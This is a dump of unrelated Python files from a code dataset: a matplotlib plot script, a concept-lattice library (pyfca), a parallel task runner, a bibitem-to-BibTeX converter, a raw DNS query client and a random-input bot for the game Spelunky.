알고리즘/20210206_boj_11047.py","file_name":"20210206_boj_11047.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"364373006","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\n\n\nHP_step_avg = [39.5, 44, 36, 38.5, 37, 37, 36.5, 36.5]\nHP_step_max = [43, 45, 43,45,41,45,43,43]\nHP_step_min = [35,43,29,31,31,31,31,31]\n\nSC_step_avg = [27,27,29.5,31.5,31.5,33,32.5,34.5]\nSC_step_max = [27,27,35,33,37,37,37,39]\nSC_step_min = [27,27,27,29,27,31,31,31]\n\nPP_step_avg = [42,44.5,39.25,34,35,36,32,32]\nPP_step_max = [45,45,45,45,41,45,37,37]\nPP_step_min = [35,43,31,29,31,31,29,29]\n\nfig = plt.figure(figsize=(6,3))\n\n\nplt.figure('Fill', facecolor='lightgray')\nplt.title('Fill', fontsize=20)\nplt.xlabel('Flight Times', fontsize=14)\nplt.ylabel('Movement Steps', fontsize=14)\nplt.ylim((0, 60))\nplt.tick_params(labelsize=10)\nplt.grid(linestyle=':')\n\n\n# plt.plot(x, HP_step_max, linewidth=0.1, c='white')\n# plt.plot(x, HP_step_min, linewidth=0.1, c='white')\nplt.plot(x, HP_step_avg, c='dodgerblue')\n\n# plt.plot(x, SC_step_max, linewidth=0.1, c='white')\n# plt.plot(x, SC_step_min, linewidth=0.1, c='white')\nplt.plot(x, SC_step_avg, c='orangered')\n\n# plt.plot(x, PP_step_max, linewidth=0.1, c='white')\n# plt.plot(x, PP_step_min, linewidth=0.1, c='white')\nplt.plot(x, PP_step_avg, c='limegreen')\n\n# 填充\n# plt.fill_between(x, HP_step_max,HP_step_min, color='dodgerblue', alpha=0.3)\n# plt.fill_between(x, SC_step_max,SC_step_min, color='orangered', alpha=0.3)\n# plt.fill_between(x, PP_step_max,PP_step_min, color='limegreen', alpha=0.3)\n\nplt.legend(loc = 3)\nplt.show()\nplt.show()","sub_path":"For cloud server2/0702/log/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"432565482","text":"#!/usr/bin/env python3\n# encoding: utf-8 \n\n\"\"\"\n\nUsage\n-----\n\nIt can be used to create a concept lattice and to draw it either using tkinter() or svg().\n\n.. code::\n\n import pyfca\n fca = pyfca.Lattice([{1,2},{2},{1,3}])\n diagram = pyfca.LatticeDiagram(fca,4*297,4*210)\n diagram.svg().saveas('tmp.svg')\n import cairosvg\n cairosvg.svg2png(url=\"file:///\", write_to='tmp.png')\n\n\n\nThe ``AddIntent`` algorithm is from the paper:\n\n AddIntent: A New Incremental Algorithm for Constructing Concept Lattices\n\n\nThe lattice drawing algorithm is from:\n\n `Galicia `_\n \n \n\"\"\"\n\n'''\nTODO: integrate NextConcept and Neighbors\n\n #A=Attribute, O=Object, C=Concept\n #Aset is a list of attribute sets (i.e. objects)\n\n Asets=[set([4,6,7]),set([2,3,6]),set([4,6,7]),set([1,4,7]),set([2,5,6])]\n\n Os=list(range(1,len(Asets)+1))#=[1, 2, 3, 4, 5]\n\n from functools import reduce\n As=[elem for elem in reduce(lambda x,y:x|y,Asets)]\n #=[1, 2, 3, 4, 5, 6, 7]\n\n\n def A2O(Aset):\n return set([Os[i] for i in range(len(Asets)) if Aset<=Asets[i]])\n\n Osets=[A2O(set([s])) for s in As]\n\n def O2A(Oset):\n return set([As[i] for i in range(len(Osets)) if Oset<=Osets[i]])\n\n def AA(Aset):\n return O2A(A2O(Aset))\n\n def OO(Oset):\n return A2O(O2A(Oset))\n\n def AC(Aset):\n oo=A2O(Aset)\n return (oo,O2A(oo))\n\n def OC(Oset):\n aa=O2A(Oset)\n return (A2O(aa),aa)\n\n\n def NextConcept(Oset):\n \"\"\"NextConcept by Ganter (from lindig-a4.pdf)\n Flaw: same concept is computed more times\n \n >>> [(o,O2A(o)) for o in NextConcept(set([]))]#object and attributes\n [({5}, {2, 5, 6}), ({4}, {1, 4, 7}), ({2}, {2, 3, 6}), ({2, 5}, {2, 6}), ({1, 3}, {4, 6, 7}), ({1, 3, 4}, {4, 7}), ({1, 2, 3, 5}, {6}), ({1, 2, 3, 4, 5}, set())]\n \n \"\"\"\n Oseti=[Os.index(o) for o in Oset]\n for ii in reversed(range(len(Os))):\n if Os[ii] not in Oset:\n Oset1i=[i for i in Oseti if i>> Neighbors(set([1,3]))\n [{1, 3, 4}, {1, 2, 3, 5}]\n \n \n \"\"\"\n oTests=[o for o in Os if o not in aCOset]\n minos=set(oTests)\n neighbors=[]\n for a in oTests:\n gSet=set([a])\n neighb=OO(aCOset|gSet)\n if (minos & (neighb-aCOset-gSet))==set([]):\n neighbors.append(neighb)\n else:\n minos=minos-gSet\n return neighbors\n\n def Lattice():\n \"\"\"L is unsorted list\n Lindex is used to find the index of a concept in L \n L[i][0] is the concept's extent, L[i][1] and L[i][2] are indices to the upper and lower neighbors\n \n >>> [o for o,u,l in Lattice()[0]]\n [set(), {2}, {1, 3}, {4}, {5}, {2, 5}, {1, 3, 4}, {1, 2, 3, 5}, {1, 2, 3, 4, 5}]\n \n \"\"\"\n c=[set([]),set([]),set([])]\n L=[]\n L=[c]\n Lindex={}\n Lindex[frozenset(c[0])]=icurrent=0\n while True:\n for x in Neighbors(c[0]):\n ix=Lindex.setdefault(frozenset(x),len(L))\n if (ix==len(L)):\n L.append([x,set([]),set([])])\n L[ix][2]|=set([icurrent])\n c[1]|=set([ix])\n icurrent+=1\n if icurrent==len(L):\n break\n c=L[icurrent]\n return (L,Lindex)\n\n\n'''\n\n#TODO\n# pylint: disable=I0011,C0103\n# pylint: disable=I0011,C0111\n# pylint: disable=I0011,R0913\n# pylint: disable=I0011,R0903\n# pylint: disable=I0011,R0902\n# pylint: disable=I0011,R0901\n# pylint: disable=I0011,W0401\n# pylint: disable=I0011,R0201\n\nimport sys\nimport svgwrite\nfrom tkinter import *\nfrom collections import defaultdict\n\nclass LatticeNode:\n\n \"\"\"\n Node used in Lattice\n \"\"\"\n\n def __init__(self, index, up, down, attributes, objects, object_index):\n self.intent = attributes\n self.object = objects\n self.object_index = object_index\n self.up = up\n self.down = down\n self.index = index\n self.weight = 1\n\n def __str__(self):\n return str([self.index, self.weight, self.intent, self.up, self.down])\n\n def __repr__(self):\n return repr([self.index, self.weight, self.intent, self.up, self.down])\n\n\nclass Lattice:\n\n \"\"\"Lattice is an unsorted list of LatticeNode entries\n >>> Lattice([{1,2},{2},{1,3}],lambda x:x)\n \n\n \"\"\"\n\n def __init__(self, objects, attribute_extractor=lambda x:x):\n self.attribute_extractor = attribute_extractor\n self.objects = objects\n self.ASets = [set(self.attribute_extractor(oo)) for oo in self.objects]\n a_iAsets = defaultdict(set)\n self.Aall = set()\n for i,aset in enumerate(self.ASets):\n for a in aset:\n a_iAsets[a].add(i)\n self.Aall |= aset\n # initial nodes are bottom and top\n self.nodes = [LatticeNode(0, set([1]), set(), set(\n self.Aall), None, -1), LatticeNode(1, set(), set([0]), set(), None, -1)]\n self.itop = 1 # if itop is not added here, there won't be any top\n self.ibottom = 0\n self.Aall = list(sorted(self.Aall,key=lambda a: len(a_iAsets[a])))\n self.Aall.reverse()\n done = set()\n index = []\n for a in self.Aall:\n new = set(a_iAsets[a]) - done\n done |= new\n for i in new:\n self.AddIntent(self.ASets[i], i, self.ibottom)\n # calc weights\n def inc_weight(n):\n n.weight += 1\n self.traverse_up(lambda p: inc_weight(p[-1]))\n\n def __str__(self):\n return str(self.nodes)\n\n def __repr__(self):\n return ''\n\n def __getitem__(self, key):\n return self.nodes[key]\n\n def sort_by_weight(self, indices):\n bw = list(indices)\n bw.sort(key=lambda x: self.nodes[x].weight)\n bw.reverse()\n return bw\n\n def traverse_down(self, visit, node=None):\n if node == None:\n self.path = []\n self.sofar = set()\n node = self.nodes[self.itop]\n for t in self.sort_by_weight(node.down):\n if t == 0:\n continue\n if t not in self.sofar:\n self.sofar.add(t)\n nextnode = self.nodes[t]\n self.path.append(nextnode)\n try:\n visit(self.path)\n finally:\n self.path.pop()\n self.traverse_down(visit, nextnode)\n\n def traverse_up(self, visit, node=None):\n if node == None:\n self.path = []\n self.sofar = set()\n node = self.nodes[self.ibottom]\n for t in node.up:\n if t == 0:\n continue\n if t not in self.sofar:\n self.sofar.add(t)\n nextnode = self.nodes[t]\n self.path.append(nextnode)\n try:\n visit(self.path)\n finally:\n self.path.pop()\n self.traverse_up(visit, nextnode)\n\n def _get_maximal_concept(self, intent, gen_index):\n ismaximal = True\n while ismaximal:\n ismaximal = False\n for up in self.nodes[gen_index].up:\n if intent <= self.nodes[up].intent:\n gen_index = up\n ismaximal = True\n break\n return gen_index\n\n def AddIntent(self, intent, oi, gen_index):\n gen_index = self._get_maximal_concept(intent, gen_index)\n if self.nodes[gen_index].intent == intent:\n if oi > -1:\n self.nodes[gen_index].object = self.objects[oi]\n return gen_index\n GeneratorParents = self.nodes[gen_index].up\n NewParents = []\n for Parent in GeneratorParents: # Ic&Ii != 0 | Ic&Ii == 0\n if not self.nodes[Parent].intent < intent:\n nextIntent = self.nodes[Parent].intent & intent\n # if Ic&Ii=0, then top is returned. This could go easier\n Parent = self.AddIntent(nextIntent, -1, Parent)\n addParent = True\n for i in range(len(NewParents)):\n if NewParents[i] == -1:\n continue\n if self.nodes[Parent].intent <= self.nodes[NewParents[i]].intent:\n addParent = False\n break\n else:\n if self.nodes[NewParents[i]].intent <= self.nodes[Parent].intent:\n NewParents[i] = -1\n if addParent:\n NewParents += [Parent]\n # NewConcept = (gen_index.intent, intent ), but here only intent set\n NewConcept = len(self.nodes)\n oo = None\n if oi > -1:\n oo = self.objects[oi]\n self.nodes += [LatticeNode(NewConcept, set(), set(), intent, oo, oi)]\n for Parent in NewParents:\n if Parent == -1:\n continue\n #RemoveLink(Parent, gen_index, self.nodes )\n self.nodes[Parent].down -= set([gen_index])\n self.nodes[gen_index].up -= set([Parent])\n #SetLink(Parent, NewConcept, self.nodes )\n self.nodes[Parent].down |= set([NewConcept])\n self.nodes[NewConcept].up |= set([Parent])\n #SetLink(NewConcept, gen_index, self.nodes )\n self.nodes[NewConcept].down |= set([gen_index])\n self.nodes[gen_index].up |= set([NewConcept])\n return NewConcept\n\nclass TkinterCanvas(Frame):\n\n def __init__(self, lattice_diagram):\n Frame.__init__(self, master=None)\n self.lattice_diagram = lattice_diagram\n Pack.config(self, fill=BOTH, expand=YES)\n self.master.title(\"Lattice\")\n self.master.iconname(\"Lattice\")\n self.scale = 1.0\n self.makeCanvas()\n self.drawit()\n\n def Btn1Up(self, event):\n if self.scale < 1.0:\n self.scale = 1.1 / self.scale\n else:\n self.scale = self.scale * 1.1\n self.canvas.scale(\n 'scale', event.x, event.y, self.scale, self.scale)\n\n def Btn3Up(self, event):\n if self.scale > 1.0:\n self.scale = 1.1 / self.scale\n else:\n self.scale = self.scale / 1.1\n self.canvas.scale(\n 'scale', event.x, event.y, self.scale, self.scale)\n\n def makeCanvas(self):\n scrW = self.winfo_screenwidth()\n scrH = self.winfo_screenheight()\n self.canvas = Canvas(self, height=scrH, width=scrW, bg='white', cursor=\"crosshair\",\n scrollregion=('-50c', '-50c', \"50c\", \"50c\"))\n self.hscroll = Scrollbar(\n self, orient=HORIZONTAL, command=self.canvas.xview)\n self.vscroll = Scrollbar(\n self, orient=VERTICAL, command=self.canvas.yview)\n self.canvas.configure(\n xscrollcommand=self.hscroll.set, yscrollcommand=self.vscroll.set)\n self.hscroll.pack(side=BOTTOM, anchor=S, fill=X, expand=YES)\n self.vscroll.pack(side=RIGHT, anchor=E, fill=Y, expand=YES)\n self.canvas.pack(anchor=NW, fill=BOTH, expand=YES)\n Widget.bind(self.canvas, \"\", self.Btn1Up)\n Widget.bind(self.canvas, \"\", self.Btn3Up)\n\n def drawit(self,):\n for an in self.lattice_diagram.lattice:\n gn = [self.lattice_diagram.lattice[i] for i in an.down]\n for ag in gn:\n self.canvas.create_line(\n an.x, an.y + an.h / 2, ag.x, ag.y + an.h / 2, tags='scale')\n for an in self.lattice_diagram.lattice:\n self.canvas.create_rectangle(\n an.x - an.w / 2, an.y, an.x + an.w / 2, an.y + an.h,\n fill=\"yellow\", tags='scale')\n self.canvas.create_text(\n an.x, an.y + 3 * an.h / 4, fill=\"black\",\n text=','.join([str(l) for l in an.intent if l]), tags='scale')\n\n\nclass LatticeDiagram:\n\n ''' format and draw a Lattice\n >>> src=[ [1,2], [1,3], [1,4] ]\n >>> lattice = Lattice(src,lambda x:set(x))\n >>> ld = LatticeDiagram(lattice,400,400)\n >>> #display using tkinter\n >>> ld.tkinter()\n >>> mainloop()\n >>> ld.svg().saveas('tmp.svg')\n '''\n\n def __init__(self, lattice, page_w, page_h):\n w = page_w\n h = page_h\n self.lattice = lattice\n self.border = (h + w) // 20\n self.w = w - 2 * self.border\n self.h = h - 2 * self.border\n self.top = self.border\n self.dw = w\n self.dh = h\n self.topnode = self.lattice[self.lattice.itop]\n self.nlevels = 0\n for n in self.lattice:\n n.level = -1\n self.topnode.level = 0\n self.find_levels(self.topnode, self.top, 0)\n self.fill_levels()\n self.setPos(self.topnode, self.xcenter, self.top, self.dw, self.dh)\n self.horizontal_align(self.xcenter)\n self.make()\n\n def setPos(self, node, x, y, w, h):\n node.x = x\n node.y = y\n node.w = w\n node.h = h\n\n def make(self):\n for n in self.lattice:\n n.level = -1\n self.topnode.level = 0\n self.find_levels(self.topnode, self.top, 0)\n self.fill_levels()\n h = self.top - 3 * self.dh\n for level in self.levels:\n h += 3 * self.dh\n for n in level:\n self.setPos(n, 0, h, self.dw, self.dh)\n self.horizontal_align(self.xcenter)\n\n def find_levels(self, node, ystart, y):\n h = 3 * self.dh + ystart\n y += 1\n if len(node.down) == 0:\n self.nlevels = y\n for i in node.down:\n child = self.lattice[i]\n if child.level < y:\n self.setPos(child, 0, h, self.dw, self.dh)\n child.level = y\n self.find_levels(child, h, y)\n\n def fill_levels(self):\n self.levels = []\n self.dh = self.h / (3 * self.nlevels)\n self.nmaxlevel = 0\n for i in range(self.nlevels):\n level = [n for n in self.lattice if n.level == i]\n if len(level) > self.nmaxlevel:\n self.nmaxlevel = len(level)\n self.levels.append(level)\n self.dw = self.w / (2 * self.nmaxlevel - 1)\n self.xcenter = self.w + self.border\n\n def horizontal_align(self, center):\n pX = 0\n for level in self.levels:\n llen = len(level)\n if (llen % 2) == 0:\n pX = center - llen * self.dw + self.dw / 2\n else:\n pX = center - llen * self.dw - self.dw / 2\n for n in level:\n self.setPos(n, pX, n.y, self.dw, self.dh)\n pX += 2 * self.dw\n self.minCrossing(level, False)\n for level in self.levels:\n self.minCrossing(level, True)\n\n def minCrossing(self, level, forChildren):\n #test = False\n nbTotal = 0\n nbCrossing1 = 0\n nbCrossing2 = 0\n i = 0\n j = 0\n while i < len(level):\n #if test:\n # i = 0\n #test = False\n node1 = level[i]\n j = i + 1\n while j < len(level):\n node2 = level[j]\n nbCrossing1 = self.nbCrossing(node1.up, node2.up)\n nbCrossing2 = self.nbCrossing(node2.up, node1.up)\n if forChildren:\n nbCrossing1 += self.nbCrossing(node1.down, node2.down)\n nbCrossing2 += self.nbCrossing(node2.down, node1.down)\n if nbCrossing1 > nbCrossing2:\n self.swap(level, i, j)\n nbTotal += nbCrossing2\n #test = True\n else:\n nbTotal += nbCrossing1\n j += 1\n i += 1\n return nbTotal\n\n def swap(self, v, i, j):\n node1 = v[i]\n node2 = v[j]\n v[i] = node2\n x = node2.x\n node2.x = node1.x\n v[j] = node1\n node1.x = x\n\n def nbCrossing(self, v1, v2):\n nbCrossing = 0\n for in1 in v1:\n n1 = self.lattice[in1]\n for in2 in v2:\n n2 = self.lattice[in2]\n if n1.x > n2.x:\n nbCrossing += 1\n return nbCrossing\n\n def svg(self,filename=None,target=\"\",drawnode=None):\n dwg = svgwrite.Drawing(filename, width=\"210mm\", height=\"297mm\")\n xm,ym = 0,0\n xn,yn = sys.maxsize, sys.maxsize\n def _drawnode(canvas,node,parent,c,r):\n parent.add(canvas.circle(c,r,fill='white',stroke='black'))\n if drawnode is None:\n drawnode = _drawnode\n for n in self.lattice:\n gn = [self.lattice[i] for i in n.down]\n for ag in gn:\n dwg.add(dwg.line((n.x,n.y+n.h/2), (ag.x,ag.y+n.h/2), stroke='black'))\n for n in self.lattice:\n if target:\n link = dwg.add(dwg.a(target+str(n.index),target='_top'))\n shape = drawnode(dwg,n,link,(n.x,n.y+n.h/2),2*min(n.w,n.h)/3)\n else:\n shape = drawnode(dwg,n,dwg,(n.x,n.y+n.h/2),2*min(n.w,n.h)/3)\n if n.x+n.w/2>xm:\n xm = n.x+n.w/2\n if n.y+n.h>ym:\n ym = n.y+n.h\n if n.x-n.w/2 None:\n self._f = f\n self._args: ty.Optional[tuple] = None\n self._kwargs: ty.Optional[dict] = None\n self._called = False\n\n def __call__(self, *args, **kwargs) -> ty.Union['Task', ty.Any]:\n if self._args is None:\n self._args = args\n self._kwargs = kwargs\n return self\n else:\n assert not self._called and args is not None and kwargs is not None\n self._called = True\n return self._f(*self._args, **self._kwargs) # type: ignore\n\n\ndef run_tasks(tasks: ty.Iterable[Task], worker_count: ty.Optional[int]) -> ty.Iterator:\n if worker_count == 0:\n for x in tasks:\n yield x()\n else:\n with ProcessPoolExecutor(worker_count) as executor:\n futures = []\n for task in tasks:\n futures.append(executor.submit(task))\n for future in as_completed(futures):\n yield future.result()\n\n\ndef prun(\n f: ty.Callable,\n args: ty.Iterable,\n worker_count: ty.Optional[int] = None,\n star: bool = False,\n verbose: bool = False,\n) -> ty.Iterable:\n tasks = []\n for x in args:\n tasks.append(Task(f)(*x) if star else Task(f)(x))\n results = run_tasks(tasks, worker_count)\n if verbose:\n assert tqdm, 'If verbose is True, then tqdm library must be installed'\n results = tqdm(results, total=len(tasks))\n return list(results)\n","sub_path":"air/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"505996640","text":"\"\"\"\nParses a number of bibitems into a proper BibTeX bibliography. Since bibitems\ndon't have semantic information, certain heuristics have to be applied.\n\"\"\"\nimport argparse\nimport re\nimport sys\n\nfrom .. import __about__\n\n\ndef main(argv=None):\n parser = _get_parser()\n args = parser.parse_args(argv)\n\n bibitem_strings = extract_bibitems(args.input)\n previous_author = None\n for bibitem_string in bibitem_strings:\n bibitem = parse_bibitem_string(bibitem_string)\n # If the author entry contains a vrule, assume that this is a\n # placeholder for the authors from the previous paper.\n if (\n \"authors\" in bibitem\n and (\n \"\\\\vrule\" in bibitem[\"authors\"] or \"\\\\sameauthor\" in bibitem[\"authors\"]\n )\n and previous_author\n ):\n bibitem[\"authors\"] = previous_author\n entry = create_bibtex_string(bibitem)\n print(entry)\n if \"authors\" in bibitem:\n previous_author = bibitem[\"authors\"]\n else:\n previous_author = None\n return\n\n\ndef clean(entry):\n \"\"\"Removes newlines and font specs from entries.\"\"\"\n new = (\n entry.replace(\"\\n\", \" \")\n .replace(\"\\\\em \", \"\")\n .replace(\"\\\\sc \", \"\")\n .replace(\"~\", \" \")\n .strip()\n )\n # Remove surrounding brackets\n if new[0] == \"{\" and new[-1] == \"}\":\n new = new[1:-1].strip()\n\n # Replace multiple white space by a simple space.\n new = re.sub(\"\\\\s+\", \" \", new)\n return new\n\n\ndef clean_pages(entry):\n new = clean(entry)\n m = re.match(\"^[^0-9]*([0-9]+[-]+[0-9]+).*\", entry)\n if m and m.groups():\n new = m.group(1).replace(\"--\", \"-\")\n return new\n\n\ndef create_bibtex_string(bibitem):\n entries = []\n if \"authors\" in bibitem:\n entries.append(\" author = {{{}}}\".format(clean(bibitem[\"authors\"])))\n if \"title\" in bibitem:\n entries.append(\" title = {{{}}}\".format(clean(bibitem[\"title\"])))\n if \"journal\" in bibitem:\n entries.append(\" journal = {{{}}}\".format(clean(bibitem[\"journal\"])))\n if \"publisher\" in bibitem:\n entries.append(\" publisher = {{{}}}\".format(clean(bibitem[\"publisher\"])))\n if \"pages\" in bibitem:\n entries.append(\" pages = {{{}}}\".format(clean_pages(bibitem[\"pages\"])))\n if \"year\" in bibitem:\n entries.append(\" year = {{{}}}\".format(clean(bibitem[\"year\"])))\n\n entry = \"@{}{{{},\\n{}\\n}}\".format(\n bibitem[\"type\"], bibitem[\"key\"], \",\\n\".join(entries)\n )\n return entry\n\n\ndef my_split(s):\n \"\"\"Explodes a string around commas except when in a {}-environment.\n See .\n \"\"\"\n parts = []\n bracket_level = 0\n current = []\n # trick to remove special-case of trailing chars\n for c in s + \",\":\n if c == \",\" and bracket_level == 0:\n parts.append(\"\".join(current))\n current = []\n else:\n if c == \"{\":\n bracket_level += 1\n elif c == \"}\":\n bracket_level -= 1\n current.append(c)\n return parts\n\n\ndef _get_entry_type(m2):\n if len(m2) > 2:\n a = clean_bibitem_string(m2[2])\n if a[:3] == \"in:\":\n return \"inbook\"\n\n if len(m2) > 4:\n a = clean_bibitem_string(m2[4])\n if a[-1] == \".\":\n a = a[:-1]\n\n if len(a) == 4 and \"-\" not in a:\n return \"book\"\n return \"article\"\n\n # fallback\n return \"article\"\n\n\ndef parse_bibitem_string(bibitem_string):\n \"\"\"Parses a bibitem given as (multiline) string and returns semantic\n information. Of course, heuristics are needed.\n \"\"\"\n # Extract the reference key\n regex = re.compile(\"^\\\\\\\\bibitem{(\\\\w+)}\\\\s*(.*)\", re.DOTALL)\n m = re.match(regex, bibitem_string)\n\n # Explode the rest of the string around commas, except the commas\n # are enclosed in curly brackets (e.g., in the authors list).\n m2 = my_split(m.group(2))\n\n # Now the heuristics.\n bibitem = {\n \"key\": m.group(1).strip(),\n \"authors\": clean_bibitem_string(m2[0]),\n \"title\": clean_bibitem_string(m2[1]),\n \"type\": _get_entry_type(m2),\n }\n\n if bibitem[\"type\"] == \"article\":\n if len(m2) > 2:\n bibitem[\"journal\"] = clean_bibitem_string(m2[2])\n if len(m2) > 3:\n a = clean_bibitem_string(m2[3])\n c = a.split(\" \")\n # pylint: disable=len-as-condition\n if len(c) > 0:\n bibitem[\"number\"] = c[0]\n if len(c) > 1 and c[1][0] == \"(\" and c[1][-1] == \")\":\n bibitem[\"year\"] = c[1][1:-1]\n if len(m2) > 4:\n a = clean_bibitem_string(m2[4])\n if a[-1] == \".\":\n a = a[:-1]\n bibitem[\"pages\"] = a\n elif bibitem[\"type\"] == \"book\":\n if len(m2) > 2:\n bibitem[\"publisher\"] = clean_bibitem_string(m2[2])\n if len(m2) > 4:\n a = clean_bibitem_string(m2[4])\n if a[-1] == \".\":\n a = a[:-1]\n if len(a) == 4 and \"-\" not in a:\n bibitem[\"year\"] = a\n else:\n bibitem[\"pages\"] = a\n elif bibitem[\"type\"] == \"inbook\":\n if len(m2) > 2:\n bibitem[\"booktitle\"] = clean_bibitem_string(m2[2])\n\n return bibitem\n\n\ndef clean_bibitem_string(string):\n \"\"\"Removes surrounding whitespace, surrounding \\\\emph brackets etc.\"\"\"\n out = string\n out = out.strip()\n if out[:6] == \"\\\\emph{\" and out[-1] == \"}\":\n out = out[6:-1]\n if out[:8] == \"\\\\textsc{\" and out[-1] == \"}\":\n out = out[8:-1]\n\n return out\n\n\ndef extract_bibitems(filename):\n \"\"\"Parses `filename` and returns all bibitems from inside all\n `thebibliography` environments.\n \"\"\"\n recording = False\n bibitems = []\n with open(filename, \"r\") as f:\n for line in f:\n # Get first non-whitespace character\n m = re.match(\"^\\\\s*(\\\\S)\", line)\n # Skip commented-out lines\n if m and m.group(1) == \"%\":\n continue\n if \"\\\\begin{thebibliography}\" in line:\n recording = True\n if \"\\\\end{thebibliography}\" in line:\n recording = False\n\n if recording:\n if \"\\\\bibitem\" in line:\n # Create new bibitem entry\n bibitems.append(line)\n elif bibitems:\n # Append to last bibitem entry\n bibitems[-1] += line\n return bibitems\n\n\ndef _get_parser():\n parser = argparse.ArgumentParser(description=\"Extract bibitems.\")\n parser.add_argument(\n \"-v\",\n \"--version\",\n help=\"display version information\",\n action=\"version\",\n version=\"betterbib {}, Python {}\".format(__about__.__version__, sys.version),\n )\n parser.add_argument(\"input\", type=str, help=\"input LaTeX file\")\n return parser\n","sub_path":"tools/bibitems2bibtex.py","file_name":"bibitems2bibtex.py","file_ext":"py","file_size_in_byte":6934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"560327424","text":"import socket\nfrom struct import pack\nfrom dns_test import get_default_dns\nimport struct\nimport numpy\nimport copy\nimport sys\n\n\ndef build_packet(url):\n # packet = pack(\"!H\", (0 << 15) | (1 << 8) | (0)) # Query Ids (Just 1 for now)\n packet = pack(\"!H\", 102)\n packet += pack(\"!H\", int('0x0100', 16)) # Flags\n packet += pack(\"!H\", 1) # Questions\n packet += pack(\"!H\", 0) # Answers\n packet += pack(\"!H\", 0) # Authorities\n packet += pack(\"!H\", 0) # Additional\n for part in url.split('.'):\n packet += pack(\"B\", len(part))\n encoded = str.encode(part)\n for x in range(len(encoded)):\n packet += pack(\"c\", encoded[x:x + 1])\n packet += pack(\"B\", 0) # End of String\n packet += pack(\"!H\", 1) # Query Type\n packet += pack(\"!H\", 1) # Query Class\n return packet\n\n\ndef test(url):\n local_dns = get_default_dns()\n\n packet = build_packet(url)\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n # bind to arbitrary address and port\n sock.bind(('', 0))\n sock.sendto(bytes(packet), (local_dns, 53))\n data, addr = sock.recvfrom(1024)\n sock.close()\n parseResp(bytearray(data), len(packet))\n\n\ndef testPtr(byte):\n res = numpy.unpackbits(byte)\n return res[0] == 1 and res[1] == 1\n\n\ndef parseResp(buffer, lenReq):\n # For the header\n data = copy.deepcopy(buffer)\n (id, bitmap, q, a, ns, ar) = struct.unpack(\"!HHHHHH\", buffer[:12])\n\n # Remove the total length of the inital request from the beginning of response.\n del buffer[:lenReq + 2]\n ans = []\n\n # only need to implement types here to see if a or ptr or cname\n\n for i in range(a):\n # inconsistency in location by 2 bytes\n rtype, rclass, ttl, rdlength = struct.unpack('!HHIH', buffer[:10])\n del buffer[:10]\n if rtype == 1: # or type == 1:\n ip = struct.unpack('!BBBB', buffer[:4])\n ans.append(\"%d.%d.%d.%d\" % ip)\n # to adjust for the offset\n del buffer[:4]\n elif rtype == 5:\n rdata = ''\n count = 0\n while count < rdlength - 1:\n offset = 0\n if not testPtr(buffer[:1]):\n num = struct.unpack(\"!B\", buffer[:1])[0]\n del buffer[:1]\n tmp = buffer[:num].decode() + '.'\n rdata += buffer[:num].decode() + '.'\n\n del buffer[:num]\n count += num\n else:\n buffer[0] = buffer[0] & int(b'3f', 16)\n offset = int.from_bytes(buffer[:2], byteorder='big')\n num = struct.unpack('!B', data[offset:offset + 1])[0]\n while num != 0:\n tmp = data[offset + 1:offset + num + 1].decode() + '.'\n rdata += tmp\n offset += num + 1\n num = struct.unpack('!B', data[offset:offset + 1])[0]\n del buffer[:2]\n count += 2\n break\n del buffer[:1]\n ans.append(rdata)\n del buffer[:1]\n print(ans)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print('Useage: main.py ')\n exit(1)\n test(sys.argv[1])","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"134187803","text":"from random import randint\r\nfrom time import sleep\r\nfrom keyboard import press, release, wait\r\nfrom spelunkymemreader import readWord\r\n\r\nup, down, left, right = 'i', 'k', 'j', 'l' #cannot use arrow keys; keyboard module outputs numpad arrow events\r\nwhip, jump, bomb, rope = 'x', 'z', 'a', 's' #bomb and rope switched from defaults!\r\ndoor = 'space' #also purchase\r\n#run is toggled on at all times\r\n\r\npid = int(input('process id in hex > '),16)\r\n\r\ndef gameState():\r\n #thanks to Sawr - https://github.com/Sawrr/Spelunky-RTA-Tracker/blob/master/AchievementsTracker/AchievementsTracker/ScreenState.cs\r\n #the pointers to find it were also lifted from this\r\n return readWord(pid, readWord(pid, 0x2784b4) + 0x58)\r\n\r\ndef play():\r\n horiz = randint(0,2)\r\n if horiz == 1:\r\n press(left)\r\n elif horiz == 2:\r\n press(right)\r\n \r\n vert = randint(0,2)\r\n if vert == 1:\r\n press(up)\r\n elif vert == 2:\r\n press(down)\r\n \r\n jumpy = randint(0,1)\r\n if jumpy == 1:\r\n press(jump)\r\n \r\n action = randint(0,199)\r\n if action == 1:\r\n press(bomb)\r\n elif action == 2:\r\n press(rope)\r\n elif action > 100:\r\n press(whip)\r\n\r\n sleep(randint(1,120) / 60) #1-120 frames of a random action\r\n for i in [up, left, down, right, jump, whip, bomb, rope]:\r\n release(i)\r\n \r\n press(door) #then attempt to exit (or purchase something)\r\n sleep(1/60)\r\n release(door)\r\n\r\ndef loading():\r\n sleep(1)\r\n\r\ndef levelTransition():\r\n press(jump)\r\n sleep(1/60)\r\n release(jump)\r\n sleep(1)\r\n \r\ndef restart():\r\n info = readWord(pid, readWord(pid, readWord(pid, 0x278558) + 0x30) + 0x280)\r\n level = readWord(pid, info - 0xc0)\r\n money = readWord(pid, info + 0x5298)\r\n minutes = readWord(pid, info + 0x52ac)\r\n seconds = readWord(pid, info + 0x52b0)\r\n print('death: level ',level,', $',money,', time ',minutes,':',seconds, sep='')\r\n\r\n press(whip)\r\n sleep(1/60)\r\n release(whip)\r\n sleep(1)\r\n\r\nprint('click into spelunky, then press p to start the bot')\r\nwait('p')\r\nwhile 1:\r\n gs = gameState()\r\n if gs == 0:\r\n play()\r\n elif gs in [1,2,3]:\r\n loading()\r\n elif gs == 11:\r\n levelTransition()\r\n elif gs == 30:\r\n restart()\r\n 